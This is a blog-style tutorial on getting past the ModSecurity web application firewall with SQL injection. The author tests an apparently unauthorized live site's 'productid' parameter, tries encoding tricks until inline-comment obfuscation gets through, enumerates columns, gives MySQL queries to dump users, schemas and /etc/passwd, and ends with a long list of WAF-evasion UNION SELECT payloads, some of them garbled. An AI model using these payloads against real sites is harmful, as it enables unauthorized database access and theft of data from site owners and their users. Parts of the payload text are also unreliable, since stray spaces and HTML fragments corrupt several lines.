How to bypass mod_security (WAF)

How to bypass mod_security (WAF)

Hello, this time I would like to share with you how to evade the WAF mod_security.

Looking for vulnerable pages I came across a website that, after spending a little time on it, I realized that it could be vulnerable to sql injections, then I realized that it was “protected” with mod_security and decided to see if I could skip the waf.

I share how I did it …

First we have to put ourselves in context.

What is Mod_security?

ModSecurity is an embeddable web application firewall under GNU license that runs as a module of the Apache web server, provides protection against various attacks on web applications and allows monitoring HTTP traffic, as well as performing analysis in real time without the need to make changes to the infrastructure existing. modSecurity filters attacks by XSS, SQL Injection, abnormal behavior in protocols, robots, Trojans, LFI … also incorporating specific rules for some of the most popular content managers such as Joomla or WordPress.

Now … we go through steps, the first thing we have to do is look for parameters on the website and test them, as you already know, something very useful and fast is to use a simple ‘ (single quote) after the value of a parameter to generate a database error and find out whether or not the page is vulnerable to sql injection.

As you can see in the following image, I found a parameter called “productid” and a single quote was added to the end of its value. As a result, the page shows us the error:

“You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ‘’

Image for post

This means that the page is vulnerable to sql injections.

At this point we proceed to perform the injection, with which we will use a simple method as the first method:

-1+union+select+1+ — +

As a result of the above we have the following:

Image for post

The site is protected by Mod_security.

Next is to use different ways of injecting and encoding methods for sql injections.

I personally feel more comfortable with the injection with the following syntax:

-1+union(select+1)+ — +

Then I tried mixing upper and lower case:

Image for post

but with the same result ..

I also tried using url encoding

-1+%55nIoN(%53EleCt+1)+ — +

Image for post

Double and triple URL encoding

% 2555nIoN% 28% 2553EleCt% 2B1% 29
% 252555nIoN% 2528% 252553EleCt% 252B1% 2529

But it didn’t work out.

Finally I decided to stick with a single URL encoding vilifying this payload:

-1+%55nIoN(%53EleCt+1)+ — +

The next step was to mix comment coding:

-1+/*!12345% 55nIoN*//**/(/*!12345%53EleCt*//**/1)+ — +

Image for post

And ready!! with this we bypass the WAF filters!

shows us the following legend:

“The used SELECT statements have a different number of columns”

With this we will find out the number of columns on the page:

In this case there are 24 columns, of which number 5 is vulnerable:

-1+/*!12345UnIoN*//**/(/*!12345SEleCt*//**/ 1,2,3,4,5,6,7,8,9,10,11,12,13, 14,15,16,17,18,19,20,21,22,23,24)+ — +

Now the next thing is to get information … For this I will use one of my resources where the different ways to extract basic information from a database come, the complete information is in the following link:
|   Version   |  SELECT @@version o SELECT version()  | gives us the version of the database  |

| Current User | SELECT user() o SELECT system_user() | gives us the user we have |

| List Users | SELECT user FROM mysql.user | shows us all users |

| Database | SELECT database() | shows us the database we are in |

| Lista de bases de datos | SELECT schema_name FROM information_schema.schemata | shows us the databases |

| List tables | SELECT table_schema,table_name FROM information_schema.tables WHERE table_schema != ‘mysql’ AND table_schema != ‘information_schema’ | shows us the tables of the chosen database |

| List Columns | SELECT table_schema, table_name, column_name FROM information_schema.columns WHERE table_schema != ‘mysql’ AND table_schema != ‘information_schema’ | shows us the columns of the chosen table |

| Local File Access | UNION ALL SELECT LOAD_FILE(‘/etc/passwd’) | if possible, let us read system files |

| DB location | SELECT @@datadir | It shows us the address where the database is installed |

Finally I will leave a list of payloads with which you can help:

Union Select

/*!50000%55nIoN*/ /*!50000%53eLeCt*/
%55nion(%53elect 1,2,3)-- -
/**//*!12345UNION SELECT*//**/
/**//*!50000UNION SELECT*//**/
/*!50000UniON SeLeCt*/
union /*!50000%53elect*/
+ #?uNiOn + #?sEleCt
+ #?1q %0AuNiOn all#qa%0A#%0AsEleCt
/*!%55NiOn*/ /*!%53eLEct*/
/*!u%6eion*/ /*!se%6cect*/
union (/*!/**/ SeleCT */ 1,2,3)
/*!uNIOn*/ /*!SelECt*/
uNiOn aLl sElEcT
uni<on all="" sel="">/*!20000%0d%0aunion*/+/*!20000%0d%0aSelEct*/
%252f%252a*/UNION%252f%252a /SELECT%252f%252a*/
union%23foo*%2F*bar%0D%0Aselect%23foo%0D%0A1% 2C2%2C
+#1q%0Aunion all#qa%0A#%0Aselect
union(select (1),(2),(3),(4),(5))
union (select 1111,2222,3333)
uNioN (/*!/**/ SeleCT */ 11)
union (select 1111,2222,3333)
+#1q%0AuNiOn all#qa%0A#%0AsEleCt
+%23sexsexsex%0AUnIOn%23sexsexs ex%0ASeLecT+
+union%23foo*%2F*bar%0D%0Aselect%23foo%0D%0A1% 2C2%2C
+%23blobblobblob%0aUnIOn%23blobblobblob%0aSeLe cT+
+uni on+sel ect+
/*!u%6eion*/ /*!se%6cect*/
/^.*union.*$/ /^.*select.*$/
/*uni X on*/union/*sel X ect*/
un?<ion sel="">+un/**/ion+se/**/lect+
%252f%252a*/union%252f%252a /select%252f%252a*/






/*!froM*/ /*!InfORmaTion_scHema*/.tAblES /*!WhERe*/ /*!TaBle_ScHEmA*/=schEMA()-- -/*!froM*/ /*!InfORmaTion_scHema*/.tAblES /*!WhERe*/ /*!TaBle_ScHEmA*/ like schEMA()-- -/*!froM*/ /*!InfORmaTion_scHema*/.tAblES /*!WhERe*/ /*!TaBle_ScHEmA*/=database()-- -/*!froM*/ /*!InfORmaTion_scHema*/.tAblES /*!WhERe*/ /*!TaBle_ScHEmA*/ like database()-- -/*!FrOm*/+%69nformation_schema./**/columns+/*!50000Where*/+/*!%54able_name*/=hex table/*!FrOm*/+information_schema./**/columns+/*!12345Where*/+/*!%54able_name*/ like hex table

You can find more payloads in my github writings:Y000o/Payloads_xss_sql_bypassContribute to Y000o/Payloads_xss_sql_bypass development by creating an account on GitHub.github.comY000o/sql_injection_basicSql Injection or SQL Injection is a vulnerability that allows the attacker to send or “inject” SQL instructions in a…github.comY000o/Sql_injection_medium-advanced.mdThis writing is intended as a direct continuation of my previous reading of sqli injections where the bases of this…github.comY000o/sql_injection_basicSql Injection or SQL Injection is a vulnerability that allows the attacker to send or “inject” SQL instructions in a…

Leave a Reply